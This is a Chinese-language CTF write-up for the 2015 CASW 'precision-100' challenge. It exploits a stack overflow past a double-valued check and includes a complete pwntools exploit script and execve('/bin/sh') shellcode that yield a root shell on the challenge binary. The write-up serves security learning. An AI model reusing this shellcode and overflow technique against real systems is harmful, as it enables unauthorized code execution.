2015-casw-precision-100解析
 
一个非常简单的pwn栈溢出
0x00序
这是一个很简单的栈溢出,其中唯一的难题可能就是浮点数的存储的问题,这属于计算机组成原理的知识,整体来说还是很简单的。
题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/2015-casw-precision-100
0x01漏洞定位与分析
使用IDA+F5大法,程序的整体流程就出来了,直接可以定位漏洞的位置,就是char buf[128]这个缓冲区(为了使代码更符合C语言的语法,我简单对变量的类型名称进行了修改),这会造成一个栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [sp+18h] [bp-88h]@1
double d; // [sp+98h] [bp-8h]@1
d = 64.33333;
setvbuf(stdout, 0, 2, 0);
printf("Buff: %p\n", buf);
__isoc99_scanf("%s", buf);
if ( 64.33333 != d )
{
puts("Nope");
exit(1);
}
return printf(str, buf);
}
在linux系统中使用gdb查看安全机制,除了最后一个(看到这个选项部分开启,我也查了很多资料,但是后来利用的时候才发现和它没啥关系…经验不足啊),而其他的NX,PIE都没有开启,可以说简单很多。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
使用gdb+peda中的pattern生成200个畸形字符串,然后运行程序,程序直接退出了
gdb-peda$ pattern create 200 1.txt
Writing pattern of 200 chars to filename "1.txt"
gdb-peda$ r <1.txt
Starting program: /root/D/stack overflow/2015-casw-precision-100/precision_a8f6f0590c177948fe06c76a1831e650 <1.txt
Buff: 0xffffd328
Nope
[Inferior 1 (process 9331) exited with code 01]
Warning: not running or target is remote
根据上面程序的输出,结合IDA结果,可以看到程序执行了另一条路,因为缓冲区溢出后会覆盖这个double类型的d变量,然后在覆盖到返回地址,而覆盖了d变量,程序就会直接退出,这和栈cookie(CANARY)差不多同一个原理,只不过cookie会变,它不会,我们直接从程序中获取到,或者自己编程获取都行
if ( 64.33333 != d )
{
puts("Nope");
exit(1);
}
这里我写了一个程序获取double或者float变量的在内存中的存储情况,这个浮点数的存储是采用IEEE 754标准存储在内存中的,想要了解的更详细,可以谷歌查询,我写的代码如下,大家可以参考
//filename: double_or_float_in_mem.c
//author:reshahar
#include<stdio.h>
void main()
{
double dnum;
float fnum;
char *buf;
int i;
int chose;
while(1)
{
printf("Input 1 or 2 or 3 chose float or double or exit:");
scanf("%d",&chose);
if(chose==1)
{
printf("Input a float:");
scanf("%f",&fnum);
buf = ((char*)&fnum);
printf("%f in memory is 0x",fnum);
for(i=0;i<4;i++)
{
printf("%2x",(unsigned char)buf[i]);
}
printf("\n");
}else if(chose==2)
{
printf("Input a double:");
scanf("%lf",&dnum);
buf = ((char*)&dnum);
printf("%lf in memory is 0x",dnum);
for(i=0;i<8;i++)
{
printf("%2x",(unsigned char)buf[i]);
}
printf("\n");
}else if(chose==3)
{
break;
}
else
{
printf("Input Error Chose!\n");
}
}
}
编译运行如下
root@kali:~/D/stack overflow/2015-casw-precision-100# gcc double_or_float_in_mem.c -m32 -o double_or_float_in_mem
root@kali:~/D/stack overflow/2015-casw-precision-100# ./double_or_float_in_mem
Input 1 or 2 or 3 chose float or double or exit:2
Input a double:64.33333
64.333330 in memory is 0xa5315a4755155040
Input 1 or 2 or 3 chose float or double or exit:
这里直接就获取到64.33333内存中的存储情况,然后在次生成一个畸形字符串如下
#python
double = 'a5315a4755155040'
playload = 'A'*0x80+binascii.a2b_hex(double)+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
f = open('1','wb')
f.write(playload)
其中0x80(128)是缓冲区的大小,紧接着就是double变量,后边的畸形字符串是为了确定返回地址的位置
使用gdb调试,运行并输入畸形字符文件1,可以看到程序断下来了,通过pattern获取到了偏移是12
0x6e414124 in ?? ()
gdb-peda$ pattern offset 0x6e414124
1849770276 found at offset: 12
调试的工作基本结束了
0x02漏洞利用
在没有开启NX的情况下,直接把shellcode放到栈上就行了,而要让shellcode正常运行,那么就首先要有个shellcode,这里大家可以自己去网上找一个或者使用kali 2.0的msfvenom或者kali 1.x 版本的msfpayload生成一个,当然为了锻炼自己的能力,那就是自己将下面的汇编转换成机器码,这里因为漏洞函数不能出现\x00\x0b等bad char,这里要注意一下
#execve('/bin/sh')
# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,15
# sub eax,4 "\x0b" bad char
# int 0x80
#结果
shell="\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0f\x83\xe8\x04\xcd\x80"
shellcode已经有了,然后既然要在栈上执行,要把程序程序劫持到我们的shellcode上来执行,那么就需要知道缓冲区的起始地址,这个程序也给出了,它会打印出缓冲区buf的起始位置,放置好shellcode,直接跳过去就行了
完整的exp如下
#filename:exp.py
#author:reshahar
from pwn import *
import binascii
p = process('./precision_a8f6f0590c177948fe06c76a1831e650')
#execve('/bin/sh')
# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,15
# sub eax,4 "\x0b" bad char
# int 0x80
shell="\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0f\x83\xe8\x04\xcd\x80"
p.recvuntil('Buff: ')
jmp = p.recv(10)
jmp = int(jmp,16)
print 'jmp addr'+p32(jmp)
double = 'a5315a4755155040'
#playload = 'A'*0x80+binascii.a2b_hex(double)+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
# f = open('1','wb')
# f.write(playload)
playload = shell+'A'*(0x80-len(shell))+binascii.a2b_hex(double)+'C'*12+p32(jmp)
p.sendline(playload)
p.interactive()
运行结果如下,getshell
root@kali:~/D/stack overflow/2015-casw-precision-100# python exp.py
[+] Starting local process './precision_a8f6f0590c177948fe06c76a1831e650': pid 9568
jmp addrx��\xff
[*] Switching to interactive mode
Got 1�Qh//shh/bin\x89��\x83��\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa51ZGU\x15P@CCCCCCCCCCCCx��\xff
$ id
uid=0(root) gid=0(root) groups=0(root)
$
0x03总结
pwn这类的题经验还是很重要的,有的时候会事半功倍,而只有多做题才能增加自己的经验。
0x04参考
[1]:http://www.ruanyifeng.com/blog/2010/06/ieee_floating-point_representation.html 浮点数的二进制表示
[2]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[3]:http://www.evil0x.com/posts/9492.html kali2.0 : msfpayload和msfencode的集成版msfvenom 使用简介